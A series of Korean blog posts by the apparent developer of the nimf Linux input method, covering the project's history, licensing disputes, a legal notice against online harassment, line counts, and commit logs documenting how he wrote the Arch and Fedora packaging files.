Nimf는 유용 할 것이라는 희망으로 배포되었지만 어떠한 보증도하지 않습니다. 상품성 또는 특정 목적에의 적합성에 대한 묵시적 보증조차하지 않습니다. 자세한 내용은 GNU 약소 일반 공중 사용 허가서 (GNU Lesser General Public License)를 참조하십시오.

nimf 가 자유 소프트웨어이며 오픈소스 소프트웨어인 이유


유/무상 서비스와는 무관하게 nimf 는 무료로 배포되는 오픈소스 소프트웨어입니다.
프로젝트 처음 2015년부터 2018년 지금까지 소스코드를 무료로 이용하실 수 있습니다.
LGPL 사용권에 따라 수정/배포하실 수 있습니다.
제가, 사람들이 소스코드를 다운받지 못하도록 방해한 적도 없고,
nimf 를 돈 받고 판 적도 없고,
수정/배포하시는 것을 방해한 적도 없고,
특정 배포판을 차별한 적도 없습니다.
다만, fedora 는 rime 버전 때문에 바이너리 배포 서비스를 못해드리고 있습니다. rime 최신 버전을 rpm 으로 만들면 되는 데 번거롭고 귀찮아서 하고 싶지 않습니다.
gentoo 의 경우는 emerge 파일을 작성해야 되는데 관련 문서가 GPL 입니다. emerge 파일을 nimf 프로젝트 저장소에 넣어서 관리하고 싶은데 nimf 는 LGPL 이기 때문에 호환이 안 됩니다. emerge 파일을 위한 별도의 저장소를 만들면 되는데 관리가 번거로워 그렇게 하고 싶지 않습니다. 그리고 바이너리 패지키 배포는 사실 제가 담당해야 하는 일이 아니죠. 바이너리 패지키 배포를 하지 않는 프로젝트도 수두룩합니다.
그리고 https://opensource.org/osd 여기서 말하는 오픈소스의 정의도 모두 지켜고 있습니다.
인종이나 국가, 국민을 차별하지도 않습니다.
그래서 nimf 가 오픈소스인 것입니다.

위의 내용에 동의하지 않거나 부정하시면 nimf 를 사용하시면 안 됩니다. 뿐만 아니라 리눅스 등 오픈소스를 사용하시면 안 됩니다. 오픈소스가 원래 이런 겁니다. 그래서 상호 존중하며 협력적인 관계로 사용자분들과 개발자간에 암묵적인 룰을 지켜야하는 것인데 nimf 프로젝트에서는 서로 그게 안 된 거죠. nimf 를 돈 받고 파는 것도 아닌데도, 처음부터 지금까지 무상으로 배포하는데도 고객과 개발자의 관계가 되어버린 거죠.

오픈소스가 무엇인지 확실하게 알리고자 nimf-settings 를 실행하자마자 위 내용이 나오도록 변경했습니다.

정보 대화창에도 내용을 넣었습니다.



사실 이렇게 프로그램을 수정하는게 상당히 거북합니다. 그래도 프로젝트 방치 또는 프로젝트 폐기보다는 나은 결정이라고 생각합니다. 저도 거북한데 사용자분들도 당연히 거북하겠죠.

nimf 는 자유 소프트웨어이고 오픈소스 소프트웨어이기 때문에 이번 업데이트로 인해 경고 메시지가 거북하신 분들은 2018.08.21 버전을 다운받아서 컴파일하여 사용하시면 됩니다. README 문서에 컴파일하는 방법이 나와 있습니다. 한국어 버전이 필요하시면 구글 번역기 돌리시면 됩니다. 한국어 버전 파일을 따로 만들면 마찬가지로 관리가 번거롭기 때문에 그렇게 하고 싶지 않을 뿐 한국 사람을 차별하는 것이 아닙니다.

https://gitlab.com/nimf-i18n/nimf/tree/9db1a7c4c31ee1a810216782f1b214bfd426d4f5

https://gitlab.com/nimf-i18n/nimf/-/archive/9db1a7c4c31ee1a810216782f1b214bfd426d4f5/nimf-9db1a7c4c31ee1a810216782f1b214bfd426d4f5.tar.bz2

제가 이런 것을 못하게 하거나 방해하지 않아요. 그래서 nimf 가 자유 소프트웨어이고 오픈소스 소프트웨어인 것입니다.

바라는 점


쉬고 싶습니다. 생계에 열중하고 싶습니다.
이번 업데이트로 라이선스 위반 및 위법 행위가 더 이상 발생되지 않았으면 좋겠습니다.
리눅스 애용하면서 입력 문제 때문에 짜증나는 거 제가 왜 모르겠습니까?
저도 말이죠.. 리눅스 20여년 간 쓰면서 2014년 말에 한글 문제 때문에 하도 짜증나서 리눅스 갖다 버리고 MS윈도 사용하려고 했었습니다.
자유 소프트웨어, 오픈소스의 장점이 뭘까요?
개발자가 어떠한 사유로 못 해주거나 안 해주면, 관련 소스코드 다운받아서 공부해서 수정하거나 직접 만들면 됩니다. 관련 오픈소스 라이브러리도 풍부합니다.
문서가 없다고요? 소스코드가 문서가 아니면 뭘까요? 문서보다 더 확실하고 좋은게 소스코드입니다.
그래서 끝글자 버그 때문에 고생하다가 만든 게 2015년 dasom 이고 2015년 말 dasom을 포크하여 이름을 nimf 로 변경하여 현재에 이르고 있습니다.(포크로 수정했습니다.)
저는 이제 휴식기에 접어들 것이고 1년 중 며칠이나 될 지 모르겠지만 시간이 남아돌아 심심할 때 이슈 확인하겠습니다.
이슈 관련 개인 메일, 독촉 메일 보내지 마세요. 이럴 때는 모르는게 약입니다.

2018년 8월 28일 화요일

꿈의 입력기 nimf 이야기 19화 - 법적 고지 및 면책 조항

커뮤니티의 위력을 이용하여 힘없는 개인 개발자의 시간과 노동력을 약탈하려는 행위가 프로젝트 초기부터 지금까지 지속되고 있습니다.
과거에는 단순히 음해하는 수준이었지만 현재는 허위 사실을 유포함으로써 명예를 훼손하는 수준에 이르렀습니다.
사람들이 이슈를 작성하면 제가 스트레스를 받는 이유가 이런 이유 때문입니다.
요구를 거부하거나 신속히 해결해 드리지 않으면 자신이 속한 커뮤니티에 저를 음해하고 허위 사실을 유포하는 일이 발생하기 때문에 앞으로 법적 고지와 면책 조항이 소스코드, 프로그램, 홈페이지 등에 한글(한국어)로 추가될 예정입니다.

아래 내용은 업데이트 됩니다.

# 법적 고지

Nimf 소프트웨어는 대한민국 저작권법과 국제 조약의 보호를 받습니다.
Nimf 개발자는 대한민국 법률의 보호를 받습니다.
커뮤니티의 위력을 이용하여 개발자의 시간과 노동력을 약탈하려는 행위를 금하시기 바랍니다.

* 커뮤니티 게시판에 개발자를 욕(비난)하거나
* 욕보이는(음해하는) 글을 작성하거나
* 허위 사실을 공표하거나
* 명예를 훼손하는

등의 행위는 정보통신망 이용촉진 및 정보보호 등에 관한 법률의 제재를 받습니다.

# 면책 조항

Nimf 는 무료로 배포되는 오픈소스 소프트웨어입니다.
Nimf 개발자는 개발 및 유지보수에 대해 어떠한 의무도 없고 어떠한 책임도 없습니다.
어떠한 경우에도 보증하지 않습니다. 도덕적 보증 책임도 없고, 도의적 보증 책임도 없습니다.
Nimf 개발자는 리브레오피스, 이클립스 등 귀하가 사용하시는 소프트웨어의 버그를 해결해야 할 의무가 없습니다.

2018년 8월 23일 목요일

꿈의 입력기 nimf 이야기 18화 - 리브레오피스 버그가 nimf랑 뭔 상관?

이 글을 이제서야 봤는데 이 사람들은 nimf 개발자인 제가 리브레오피스 버그를 해결해줘야 한다고 생각하는 모양입니다.
게다가 오픈소스 프로젝트는 무상 서비스를 제공해야 한다고 생각하는 것 같습니다.
유상 서비스를 제공하면 오픈소스가 아니라고 판단하시는 것 같습니다.
오픈소스에 대해 대단히 잘못 알고 계신 것 같은데 이런 분들은 오픈소스 소프트웨어를 사용하시면 안 됩니다. 오픈소스 소프트웨어는 별도의 유료 계약이 없는 한 보증 책임이 없기 때문입니다.

그럼에도 불구하고 무상 유지 보수, 무상 기술 지원을 원하고, 원하는 대로 되지 않는다고 공개된 게시판에 불만 늘어놓는데 그런 행위를 하지 마십시오. 오픈소스 라이선스 위반입니다.

제 시간은 님들을 위해 당연히 소비되어야할 시간이 아닙니다.
저는 님들의 노예가 아닙니다.
제가 님들에게 뭘 잘못했다고 이러시나요?
대한민국 현행법이 오픈소스 라이선스보다 아래 있는 개념입니까?
오픈소스는 헌법을 초월합니까?
오픈소스는 윤리, 도덕, 예의를 무시하나요?

오픈소스는 헌법, 현행법 테두리 내에서 존재하는 것입니다.

오픈소스는 종교가 아닙니다.


https://ask.libreoffice.org/ko/question/146416/ribeure-opiseu-ggeutgeulja-beogeu/#156347

참고로 한글 입력 문제에 대해선, 화면 렌더링 엔진에서 문제인지 입력기에서 문제인지 아님 LibreOffice의 문제인지는 커널 입력기, 렌더링 엔진등 모두 확인을 해봐야 알 수 있습니다

nimf는 "개발 및 유지 보수"에 대해 유료 제공원칙을 주장하다 issue에 대해 문을 닫아버렸습니다 https://github.com/cogniti/nimf/issue...

그리고 libreoffice의 issue에 대해서 spam 처리를 한걸 확인하였습니다.

입력기 이외에 화면 렌더링 부분쪽에서도 이슈가 있을텐데 이슈를 무시하셨기때문에 개선의 여지가 없다고 보여집니다.

당시 nimf 버그가 아닌 리브레오피스 버그를 nimf 프로젝트에 이슈로 올려서 리브레오피스 버그라 말씀해드렸고 얘기가 길어질 것 같아서 이슈를 잠갔습니다. 제가 리브레오피스 버그를 분석해드릴 의무가 없습니다. 님들께 돈받고 계약 맺은게 없거든요.
제가 이슈를 닫은 거랑 리브레오피스 렌더링이랑 뭔 상관이 있다고...
자기들이 직접 해결하던가... 왜 nimf 개발자 탓을 하나요?



https://bugs.documentfoundation.org/show_bug.cgi?id=117008



2018년 7월 28일 토요일

꿈의 입력기 nimf 이야기 17화 - 적은 양의 소스코드

여러분 그거 아십니까?
nimf 는 매우 정교하게 설계되어 있어서 적은 양의 코드로도 많은 일을 합니다.
타 입력기 대비하여 소스코드가 매우 적습니다.

현재 nimf 는 20,949줄입니다.
언어 엔진이 일본어 1개, 한국어 1개, 중국어 2개, 시스템 1개 총 5개의 언어 엔진을 탑재하고 있습니다.

hodong@debian:~/nimf$ cloc .
     163 text files.
     159 unique files.                                         
      47 files ignored.

github.com/AlDanial/cloc v 1.70  T=1.30 s (89.8 files/s, 21418.2 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
C                                   45           3529           1707          17107
C/C++ Header                        29            456            750           1970
C++                                  2            147             58            664
make                                28            171             11            621
XML                                  9              0              0            367
m4                                   1             57             50            170
Bourne Shell                         1              9              1             37
Windows Resource File                1              1              0             10
JSON                                 1              0              0              3
-----------------------------------------------------------------------------------
SUM:                               117           4370           2577          20949
-----------------------------------------------------------------------------------


타 입력기들은 언어 엔진이 많죠? 그래서 공정하지 않은 비교일 수도 있습니다.
그런데 !!!!!
텔레그램에 nimf 로 입력하기 위해서는 nimf 를 Qt 와 정적으로 컴파일해야 합니다.
그래서 입력기 소스코드를 텔레그램에 넣어서 컴파일하는 과정을 거쳐야 하는데,
타 입력기들은 수만줄의 소스코드를 텔레그램에 넣고 컴파일하는 반면,
nimf 는 약 2천2백줄의 소스코드를 텔레그램에 넣고 컴파일하면 된답니다.

hodong@debian:~/nimf/libnimf$ cloc client *.c *.h
      19 text files.
      19 unique files.                             
       0 files ignored.

github.com/AlDanial/cloc v 1.70  T=0.13 s (151.9 files/s, 24249.6 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
C                                9            335            189           1618
C/C++ Header                    10            133            180            578
-------------------------------------------------------------------------------
SUM:                            19            468            369           2196
-------------------------------------------------------------------------------


nimf 가 얼마나 정교하게 설계되었는지 짐작이 가시죠!

2018년 7월 24일 화요일

꿈의 입력기 nimf 이야기 16화 - spec files

fedora.spec, opensuse.spec 파일은 다른 분이 작업한 nimf spec 파일을 참고한 것이 아니라 nimf 원저자 본인이 2016년 8월 1일에 추가한 fedora.spec 파일을 토대로 작성하였습니다. 입증 완료!!

commit e47895086f8c78203bbeb851fa2318a3a96c2cde
Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Jul 24 23:18:10 2018 +0900

    fedora.spec 다시 추가합니다
  
    이 파일은 원래 2016년 8월 1일에 추가된 파일입니다.
    다른 분이 작업한 nimf spec 을 참조하여 작성한 것이 아니라
    nimf 원저자 본인 스스로 레드햇, 페도라 패키지 제작 관련 문서를 참조하여
    작성하였음을 알립니다.
  
    From 278264daa68e713d901dda3daf549193013f7d8e Mon Sep 17 00:00:00 2001
    From: Hodong Kim <cogniti@gmail.com>
    Date: Mon, 1 Aug 2016 10:19:22 +0900
    Subject: [PATCH] Added fedora-specific files
  
    https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html-single/rpm_packaging_guide/index
  
    https://fedoraproject.org/wiki/Packaging:Alternatives
  
    https://docs-old.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html-single/RPM_Guide/index.html#id366540

    https://fedoraproject.org/wiki/Packaging:SourceURL
  
    등의 레드햇 또는 페도라에서 제공하는 문서를 참조하여 작성하였습니다.
    페도라에 맞는 패키지를 만드는 것이기 때문에 페도라에서 요구하는 규격에
    맞추었습니다.

commit e5cd1b26c2541032e1d7222cfcf10df4b08a9462
Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Jul 24 23:31:26 2018 +0900

    opensuse.spec 다시 추가합니다.
   
    이 파일은 fedora.spec 에 있는 fedora 패키지를 opensuse 패키지로 변경하여
    nimf 원저자 본인이 작성한 것입니다.
   
    토대가 되는 fedora.spec 파일은 2016년 8월 1일 최초 커밋되었습니다.
   
    From 278264daa68e713d901dda3daf549193013f7d8e Mon Sep 17 00:00:00 2001
    From: Hodong Kim <cogniti@gmail.com>
    Date: Mon, 1 Aug 2016 10:19:22 +0900
    Subject: [PATCH] Added fedora-specific files

꿈의 입력기 nimf 이야기 15화 - PKGBUILD

dasom 원저자이자, nimf 원저자인 김호동 본인이 자신의 창작물을 토대로 PKGBUILD 파일을 작성하였음을 입증합니다.
어떻게 PKGBUILD 파일을 작성했는지에 대한 수정 내역을 잘게 쪼개서 commit 했습니다.
PKGBUILD 에 저작권 정보를 넣는다는게 참 웃긴 일이긴 한데,
그럴 만한 이유가 있으니 비웃지는 말아주세요.

2018.07.25 내용 추가
nimf 프로젝트의 다른 파일들과는 달리, 이제 PKGBUILD 파일은 저작권이 없습니다. 이제 PKGBUILD 는 퍼블릭 도메인에 있습니다.

commit c6fd358553d814a0f912d9454c896ba492e02633
Author: Hodong Kim <cogniti@gmail.com>
Date:   Wed Jul 25 23:20:57 2018 +0900

    Now this PKGBUILD file is in the public domain

커밋 내역은 아래 보시면 되겠습니다.
제가 잠도 못자고 너무 피곤해서 로그를 복사 / 붙여넣기 하면서 누락된게 있을지도 모르겠습니다.

자세한 내역은

https://gitlab.com/nimf-i18n/nimf/commits/master

에 있으니 확인하시기 바랍니다.

commit 90c68ab13b44ee8c46d281763f833654aed429b3
Author: Hodong Kim <cogniti@gmail.com>
Date:   Sun Jul 22 20:58:09 2018 +0900

    I wrote these files myself. But I delete these files because there is misunderstanding.

commit 49e4662d07645de9a5f7bca1a3452d461eaa5df8
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 00:19:37 2018 +0900

    아치리눅스 사이트에서 예제파일 PKGBUILD.proto 을 가져옵니다.
   
    예제 파일 주소는 다음과 같씁니다.
    https://git.archlinux.org/pacman.git/plain/proto/PKGBUILD.proto

commit e7f558cd30105d4819e10927aaf5e671d765eeb2
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 00:24:47 2018 +0900

    파일이름을 PKGBUILD.proto 에서 PKGBUILD 로 변경합니다.

commit 7c85452b67e22e894f60bff796b5221910233736
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:12:52 2018 +0900

    주석문 삭제, 저작권 정보 추가, pkgname, license 정보 추가합니다
   
    아치리눅스 nimf-git AUR 에 올릴 것이 아니기 때문에
   
    pkgname=nimf 로 합니다.
   
    Copyright (C) 2018 Hodong Kim <cogniti@gmail.com>
   
    김호동 본인이 작성한 파일이기 때문에 김호동이 저작권을 보유합니다.
    파일 진위 여부 및 미래에 발생될 수 있는 문제에 대비하기 위해 저작권 정보를
    넣습니다.
   
    license=('LGPL3')

commit 040f622ad3b29e2b04ef8e4be1f3db93f26b9bad
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:27:12 2018 +0900

    pkgver 을 master 로 변경합니다.
   
    pkgver 은 pkgver() 함수로부터 변경될 수 있습니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD
    makepkg can automatically update this variable by defining a pkgver()
    function in the PKGBUILD.

commit 1b26ceb61c56b69512c2dcb71a0be3dbf5f49b85
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:29:58 2018 +0900

    epoch= 삭제합니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD 설명에 따르면
   
    When a new version of the software is released, this value must be reset
    to 1. 신버전이 릴리즈될 때, 1 이어야 한다고 되어 있습니다.
    그래서 pkgrel=1 로 그대로 둡니다.
   
    epoch= 는
    설명에 따르면
    pkgver=5.13
    pkgrel=2
    epoch=1
   
    1:5.13-2
    이런식으로 되는 건데 epoch 는 사용할 일이 없으므로 삭제합니다.

commit 130c6198e9191f86a0ea90580e52aabc72165e0e
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:33:56 2018 +0900

    pkgdesc="Nimf is an input method framework."
   
    제가 nimf 원저자입니다. 저 문구를 제가 만들었습니다.

commit 241cce44d0a89b0906238d83e252f493d4b715ac
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:37:46 2018 +0900

    arch=('any') 로 합니다.
   
    nimf 는 x86_64, i686, arm 에서도 컴파일이 가능합니다.
    https://wiki.archlinux.org/index.php/PKGBUILD 에 따르면
   
    If a package is architecture-independent in its compiled state (shell
    scripts, fonts, themes, many types of extensions, etc.) then use
    arch=('any'). 이렇게 설명되어 있지만,
    arch 를 특정하기 애매하므로 any 로 합니다.

commit c94b9b0cc29f3cb70c39677fdbcef0db7dfa27dd
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:39:57 2018 +0900

    url="https://gitlab.com/nimf-i18n/nimf"

commit 3f63dd97f1555aa3b4d482c383ecda4ace5e1296
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:41:28 2018 +0900

    groups=() 삭제합니다.
   
    groups=() 항목이 없어도 작동하는데 지장이 없습니다.
    작성하기 귀찮으므로 삭제합니다.

commit 7151baa707ea0a54f796e8c79b46b66180434a4a
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:46:28 2018 +0900

    checkdepends=() 삭제합니다.
   
    사용할 일이 없습니다

commit bce5cabc547a7b63ce658b39f1d708d37f74cfe5
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:49:55 2018 +0900

    순서를 변경합니다
   
    makedepends=()
    depends=()
    optdepends=()
   
    이런 순서가 되도록 변경합니다.
    변경하지 않아도 작동에는 상관이 없지만,
    저는 제가 작성한 debian/control 파일을 참고하여 만들 것이기 때문에
    debian/control 에 나오는 순서대로 변경합니다

commit 9624ecffe7c81d97009a2bdd7cb926075eacbba3
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:52:21 2018 +0900

    makedepends 를 작성합니다.
   
    debian/control 파일내에 Build-Depends 에 대응합니다.
   
    Source: nimf
    Section: utils
    Priority: optional
    Maintainer: Hodong Kim <cogniti@gmail.com>
    Build-Depends: debhelper (>= 9),
                   dh-autoreconf,
                   libglib2.0-dev,
                   pkg-config,
                   intltool (>= 0.50.1),
                   libgtk-3-dev,
                   libgtk-3-bin,
                   libgtk2.0-dev,
                   libqt4-dev,
                   qtbase5-dev,
                   qtbase5-private-dev,
                   libappindicator3-dev,
                   librsvg2-bin,
                   fonts-noto-cjk,
                   libhangul-dev,
                   libanthy-dev,
                   anthy,
                   libchewing3-dev,
                   librime-dev (>= 1.2.9),
                   libxkbcommon-dev (>= 0.5.0),
                   libwayland-dev,
                   wayland-protocols,
                   libaudit-dev
   
    대응되는 아치리눅스 패키지 이름은 https://www.archlinux.org/packages/ 에서 찾을
    수 있습니다.

commit 6ff7b42e07f41b3370d6a08a1c3347d81db84fc9
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:57:11 2018 +0900

    depends 를 작성합니다.
   
    여기에 들어갈 내용은
    제가 작성한 configure.ac 파일과
    제가 작성한 debian/control
    제가 지금 작성하고 있는 PKGBUILD 파일 내에 makedepends 내에 있습니다.
    작업의 편의상 makedepends 에 있는 내용 중에, 컴파일할 때만 필요한
    패키지를 없앱니다. 그렇게 하면 실행할 때 필요한 것만 남습니다.
    제가 nimf 원저자입니다.
    nimf 는 제가 만들었고 nimf 가 필요로 하는 라이브러리를
    원저자인 제가 당연히 알고 있습니다.  제가 최초로 작성한 것입니다.

commit 8998e4a7032d4c49527903a7029f079bbf701dfd
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:09:24 2018 +0900

    optdepends 내용 추가합니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD 문서에 따르면
   
    optdepends=('cups: printing support'
                'sane: scanners support'
                'libgphoto2: digital cameras support'
                'alsa-lib: sound support'
                'giflib: GIF images support'
                'libjpeg: JPEG images support'
                'libpng: PNG images support')
   
    이런 식으로 작성하라고 나와 있습니다.
   
    debian/control 에서 Recommends, Suggests 항목에 대응합니다.
    없어도 nimf 가 작동하는데, 있으면 좋은 패키지입니다.
   
    optdepends=('brise: Rime schema repository'
                'noto-fonts-cjk: Google Noto CJK fonts'
                'xorg-setxkbmap: Set the keyboard using the X Keyboard
    Extension')
    그래서 이렇게 작성을 했습니다.
    brise 패키지는 GPL 라이선스이기 때문에 depends 에 넣으면 안 됩니다.
    nimf 는 LGPL 라이선스이며 brise 없어도 작동합니다.
    gnome-tweaks (gnome-tweak-tool) 가 debian/control 에 있지만,
    nimf-libhangul 에 xkb 옵션을 설정할 수 있는 기능이 있으므로,
    gnome-tweaks 는 필요하지 않습니다.
    제가 깜박하고 debian/control 에서 gnome-tweak-tool 을 삭제하지 않았네요.

commit b5a35acabea66fbfe7071d1d16952928c31b4709
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:31:01 2018 +0900

    provides=() conflicts=() replaces=() backup=() options=() install= changelog= 삭제합니다.
   
    provides=()
    conflicts=()
    replaces=()
    backup=()
    options=()
    install=
    changelog=
    없어도 작동합니다. 있으면 업데이트할 때 번거롭기 때문에 삭제합니다.

commit 81d7cabffff25f8e4c6345da4b526079d469e35f
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:33:32 2018 +0900

    source 주소를 설정합니다.
   
    source=("https://gitlab.com/nimf-i18n/nimf/-/archive/master/nimf-master.tar.bz2")

commit 1658804af98fcce5dfd313ed376a33336346ede5
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:35:25 2018 +0900

    extract=() 삭제합니다.

commit d107d97c3714cad7ac03eb0c8738de3efa89ba27
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:37:09 2018 +0900

    md5sums=('SKIP') 체크하지 않습니다.
   
    https://gitlab.com/nimf-i18n/nimf/-/archive/master/nimf-master.tar.bz2
    이 파일은 최신 파일입니다. commit 할 때마다 변경됩니다.
    저는 pkgver 의 버전을 특정하지 않았습니다.
    pkgver 을 특정하면 nimf 를 업데이트할 때마다 PKGBUILD 업데이트해야
    하는데 매우 번거롭기 때문에 pkgver 을 특정하지 않습니다.
    그래서 다이제스트를 스킵합니다.

commit db7494507a1621d05be9fa7b9fa5992bccbd18dc
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:40:16 2018 +0900

    validpgpkeys=() 불필요하여 삭제합니다.

commit 6eca529bb7613fbc849470f7c056a9ae40cdf692
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:42:21 2018 +0900

    pkgver() 추가합니다. 패키지 버전을 동적으로 업데이트 합니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD 에 따르면
   
    makepkg can automatically update this variable by defining a pkgver()
    function in the PKGBUILD.
    pkgver() 으로 자동으로 pkgver 변수를 업데이트할 수 있다고 나와 있습니다.
   
    grep AC_INIT configure.ac | grep -Po '\d{4}.\d{2}.\d{2}'
   
    정규표현식으로 패키지 버전을 grep 합니다.
    2018.07.20 이런 형식이 grep 됩니다.

commit b49e9ea08fea192b4329c86d5b0579a0fc9897ba
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:47:01 2018 +0900

    prepare() 불필요하여 삭제합니다.

commit feb20a6dd2dc11a8284613e39c440752d7f42264
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:50:20 2018 +0900

    build() 를 작성합니다.
   
    제가 nimf 원저자이고 제가 작성한 nimf/README 파일에 나와 있습니다.

commit aa2d29b63b5cca4d488bf65c33051ada076bd7c2
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:52:33 2018 +0900

    check() 불필요하여 삭제합니다.

commit 5055bc706728252fb6aff7af7d9b90c680c84a9f
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:54:21 2018 +0900

    package() 작성합니다.
   
    제가 nimf 원저자이며 제가 작성한 nimf/README, Makefile.am 에 나와
    있습니다.

commit 15291a7174e416f6a05e6b83bf11919b25c095b5
Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Jul 24 00:02:50 2018 +0900

    저작권, 라이선스 정보 추가합니다.
   
    본 PKGBUILD 파일은
    dasom 의 원저자이자 nimf 의 원저자인 김호동이 자신의 창작물을 토대로
    https://wiki.archlinux.org/index.php/PKGBUILD 형식에 맞추어
    작성한 파일입니다.
    본 PKGBUILD 파일에 대한 저작권이 김호동에게 있습니다.

2018년 7월 23일 월요일

꿈의 입력기 nimf 이야기 14화 - 리눅스 배포판을 차별하지 않습니다

제 불찰로 인하여 불미스런 일이 발생하였습니다.
각 커뮤니티 분들에게 죄송하다는 말씀을 드립니다.
기존에 아치리눅스, 페도라 커뮤니티에 패키징을 담당하는 분이 계셨습니다.
저는 그분들이 작성한 파일을 토대로 작성한 것이 아니고,
본인 스스로 PKGBUILD, fedora.spec, opensuse.spec 파일을 작성하였습니다.
그 파일을 작성할 당시 오해의 소지가 있을 거란 예상은 하지 못했습니다.
아무튼 변명이고요, 기분을 상하게 하여 대단히 죄송합니다.
오해의 소지가 있는 PKGBUILD, fedora.spec, opensuse.spec 파일을 모두 삭제하였습니다.
그로 인하여 아치리눅스 AUR, 페도라, 오픈수세 패키지를 다운받으실 수 없게 되었습니다.
사용 못하게 하려고 일부러 그런 것이 아니니 오해 없으시기 바랍니다.

다만, 데비안/우분투 debian/* 파일들은 프로젝트 초기부터 제가 제공해왔던 것이라
오해의 소지가 없다고 판단하여 그냥 두었고 우분투 PPA 도 삭제하지 않았습니다.

제가 특정 리눅스 배포판을 차별하는 것이 아닙니다.
그리고 nimf 는 리눅스용 입력기이기 때문에 배포판 패키지가 없다고 하여도
일반적인 방법으로 nimf 를 컴파일하여 사용하실 수 있습니다.

im-config 을 사용하는 배포판의 경우,

  ./autogen.sh --with-im-config-data

im-config 을 사용하지 않는 배포판의 경우,

  ./autogen.sh

아래는 모든 배포판 동일합니다.

  make
  sudo make install
  sudo ldconfig
  sudo make update-gtk-im-cache
  sudo make update-gtk-icon-cache


빠른 시일 내에 본인 스스로 작성하고 있다는 것을 검증하는 과정과 함께

PKGBUILD, fedora.spec, opensuse.spec

파일들을 다시 제공해 드리겠습니다.

이용에 불편을 끼쳐드려 대단히 죄송합니다.

2018년 7월 22일 일요일

꿈의 입력기 nimf 이야기 13화 - 파업

내가 무슨 연예인도 아니고..
안티에.. 악플에..
연예인은 돈이라도 벌지..
이건 뭐... 시간 손실, 금전 손실에...
정신적인 고통까지 감내해야 하나..
이제와서 그만둘 수도 없고.. 참..
기분 상하는 일이라도 없어야 하는데..
최근 한 달 간 손해본 금액이 200만원쯤 되는데..
아니 돈을 모아야 4k 용 컴퓨터를 구입해서
HiDPI 버그를 해결할 수 있는데,
손실이 꾸준히 생기니 돈을 모을 틈도 없고..
매일 잠도 제대로 못 자서 피곤하고..
오늘은 출근해서 졸면서 일해야겠네..
나도 남들처럼 퇴근 후에 쉬고,
주말엔 잠 좀 푹자고 싶은데...
그러지 못한지가 벌써 4년째...
이건 직장 스트레스보다 더 심해!!
최근 한 달 간 200만원의 손해를 보면서
업데이트를 해온 건데...
게다가 수년간 무상으로 배포하고 있잖아!!
고마운 줄 알아야지...
어휴 내 팔자야...
파업해야지 ㅋㅋㅋㅋㅋㅋㅋㅋ

꿈의 입력기 nimf 이야기 12화 - nimf 의 역사

과거에 홈페이지를 드루팔로 만들었었는데, 관리를 잘못해서 데이터를 모두 날려먹었습니다.
그 후 다시 blogger 를 사용하고 있습니다.
세월이 몇 년 지나니 기억이 가물가물하여 웹 어카이브를 찾아보았습니다.
제가 작성한 글이 약간 남아 있더군요.
nimf 입력기의 역사에 대해 말씀드리고자 합니다.
리눅스에 악명 높은 끝글자 버그로 아주 고통받던 중 끝글자 버그를 잡아보려고 시도했습니다.
처음에 gtk 를 의심하여 gtk 소스를 확인해보았는데, 문제가 ibus 더군요.
ibus 끝글자 버그 잡다가 ibus 구조상 입력기를 새로 만드는게 낫다고 판단하여

https://github.com/ibus/ibus/issues/1282#issuecomment-104839603
https://code.google.com/archive/p/ibus/issues/1264

2015-01 모듈 방식으로 설계 착수
2015-02-02  모두(Modu) 입력기 개발 착수
클라이언트-서버 모듈 방식으로 재설계하여
2015-05-23 다솜(dasom) 으로 개명
2015-10-09 다솜 릴리즈
2015-12-29 다솜에서 님프(nimf)로 갈라짐
2016-04-26 님프 릴리즈
(...중략...)
2018.07.20 버전까지 나온 상태입니다.

그 결과 끝글자 문제 없이 아주 쾌적하게 입력할 수 있으며
처절한 테스트를 거쳐 버그가 거의 없습니다.
dasom 때부터 지금까지 LGPL 라이선스이고,
필요한 비용과 시간을 본인 스스로 부담하여(자비로) 개발하였습니다.
처음부터 현재까지 소스코드, 패키지를 무상으로 제공하고 있습니다.
nimf 프로젝트는 현재 수익이 없는 프로젝트이고,
개발자가 nimf 개발하여 밥먹고 사는 사람이 아닙니다.
따라서 개인 사정에 따라 개발/유지보수가 지연될 수 있으며,
사용자분의 요청/요구 사항을 거부할 수 있습니다.
